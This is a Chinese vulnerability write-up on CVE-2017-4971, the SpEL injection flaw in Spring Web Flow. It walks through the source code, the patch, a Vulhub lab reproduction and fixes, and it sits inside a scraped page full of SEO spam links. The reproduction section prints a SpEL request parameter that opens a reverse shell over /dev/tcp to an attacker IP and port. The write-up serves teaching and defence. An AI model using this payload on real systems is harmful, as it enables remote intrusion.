当前位置: 首页 > wzjs >正文

做ipo尽调需要用到的网站营销外包

做ipo尽调需要用到的网站,营销外包,自主建站网站平台,公司刚做网站在那里找图片做漏洞概述 CVE-2017-4971 是 Spring Web Flow 框架中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Web Flow 2.4.0–2.4.4。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 HTTP 请求参数&a…

漏洞概述

CVE-2017-4971 是 Spring Web Flow 框架中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Web Flow 2.4.0–2.4.4。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 HTTP 请求参数,利用数据绑定过程中的表达式注入漏洞,触发任意命令执行。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Web Flow 在处理视图状态(view-state)的数据绑定时,未对用户输入的字段名(field)进行安全过滤。攻击者可通过构造恶意字段名(如 _(恶意表达式)),将 SpEL 表达式注入到数据绑定流程中,触发远程代码执行。
  • 默认配置缺陷
    若应用未显式配置 binder 节点(即 binderConfiguration 为空),框架会默认绑定所有请求参数,导致攻击者可控制 field 参数。
2. 源码分析
关键代码 1:demo中booking-flow.xml配置问题
<view-state id="reviewBooking" model="booking"><transition on="confirm" to="bookingConfirmed"><evaluate expression="bookingService.persistBooking(booking)" /></transition>
</view-state>
  • binder 节点为空触发漏洞
关键代码 2:数据绑定触发流程
    // AbstractMvcView.javaprotected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNames, Object model) {for (String parameterName : parameterNames) {if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {String field = parameterName.substring(fieldMarkerPrefix.length());//去除请求参数的'_'if (!parameterNames.contains(field)) {addEmptyValueMapping(mapper, field, model);//触发漏洞}} else {addDefaultMapping(mapper, parameterName, model);//遍历请求参数并绑定}}}

漏洞触发路径

  1. binderConfiguration 为空时,框架调用 addDefaultMappings 处理所有请求参数。
  2. 攻击者提交形如 _(T(java.lang.Runtime).exec("calc")) 的参数,触发 addEmptyValueMapping 方法中的表达式解析。
关键代码 3:AbstractMvcView.javaaddEmptyValueMapping 方法
protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());Expression target = expressionParser.parseExpression(field, parserContext); //使用表达式解析器解析用户输入的字段名(field)try {Class<?> propertyType = target.getValueType(model);Expression source = new StaticExpression(getEmptyValue(propertyType));DefaultMapping mapping = new DefaultMapping(source, target);if (logger.isDebugEnabled()) {logger.debug("Adding empty value mapping for parameter '" + field + "'");}mapper.addMapping(mapping);} catch (EvaluationException e) {}}

问题点

  • field 参数直接来自用户请求,未进行过滤,导致 SpEL 表达式注入。
  • expressionParser 默认使用 SpelExpressionParser,允许执行任意表达式(如 T(java.lang.Runtime).exec())。
3. 补丁分析

官方修复方案通过以下方式限制漏洞利用:

1. 替换表达式解析器:

SpelExpressionParser 替换为 BeanWrapperExpressionParser,后者仅支持基础属性绑定,禁止执行复杂表达式。

2. 路径校验强化:

addEmptyValueMapping 方法中增加字段名合法性检查,阻止非法字符(如 T().)注入。


漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
  docker-compose up -d

在这里插入图片描述

2.访问访问 http://target:8080,确认服务正常运行

在这里插入图片描述

攻击步骤
1.登录网站(用户名和密码在网站给出,随便填一个)

在这里插入图片描述

2.随便订购一个,并在最后要点击confirm的时候用bp抓包

在这里插入图片描述

3.构造payload
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash+-c+$%40|bash+0+echo+bash+-i+>%26/dev/tcp/192.168.1.102/6666+0>%261")
记得换为自己攻击机的ip和端口
4.kali开启监听

在这里插入图片描述

5.发送恶意请求包
  • payload添加到之前抓取的POST请求包里
    在这里插入图片描述
6.验证成功

在这里插入图片描述


修复方案

  1. 升级版本
    升级至 Spring Web Flow 2.4.5+,修复了表达式解析逻辑。
  2. 输入过滤
    在数据绑定配置中显式声明允许的字段名,拒绝未经验证的参数:
    <binder><binding property="allowedField"/>
    </binder>
    
  3. 禁用默认绑定
    避免在 view-state 中省略 binder 配置,防止框架自动绑定所有请求参数。

总结

CVE-2017-4971 的根源在于 Spring Web Flow 对用户输入的过度信任与 SpEL 表达式解析的开放性设计。其修复方案通过限制表达式执行权限和强化输入校验,有效降低了攻击面。


参考链接

  1. CVE-2017-4971 漏洞原理分析(IBM DeveloperWorks)
  2. Spring Web Flow 源码获取与构建指南(掘金)
  3. CVE-2017-4971 官方公告(Pivotal)
  4. 漏洞复现笔记(CVE-2017-4971)
http://www.dtcms.com/wzjs/258872.html

相关文章:

  • wordpress如何在底部设置备案百度站长工具seo
  • 网站建设企划网站关键字排名优化
  • 网站制作建设哪家公司好如何免费注册一个网站
  • 网站设计 论坛北京seo产品
  • 网站首页ico怎么做网站的推广方法
  • 做室内设计兼职的网站产品推广文案范文
  • 北京住房和城乡建设部网站百度一下百度下载
  • 电商设备网站怎么做互联网推广公司
  • 鹤城建设集团网站有免费做网站的吗
  • 关于建网站做淘宝联盟网络快速推广渠道
  • 扬州疫情最新通报百度seo免费推广教程
  • 描述网站建设的具体流程关键词排名快速提升
  • 花生壳域名直接做网站seo优化师就业前景
  • 简约大气网站模板百度客服联系方式
  • 昆明铁路局建设工程网站百度推广代理公司哪家好
  • 网站建设培训美女百度霸屏推广多少钱一个月
  • wordpress菜单保存不石家庄百度推广优化排名
  • 设计网站策划书信息发布平台推广
  • 百度推广要企业自己做网站吗杭州seo 云优化科技
  • 做投融资平台的网站都有哪些东莞企业网站设计公司
  • 四川党的建设网站怎样投稿重庆企业seo
  • 网站权重到底是什么线上培训
  • 网站如何添加浮动窗口掌门一对一辅导官网
  • 网站如何做的看起来高大上百度电话
  • 做网站还是做app好seo推广代理
  • 网站开发的论文参考文献2021网络营销成功案例
  • 用视频做背景的网站域名ip地址在线查询
  • 动态网站开发基础教程搜索app下载
  • 东莞樟木头做网站哪家好网络营销策划的内容
  • 旅游网站开发说明惠州seo关键字优化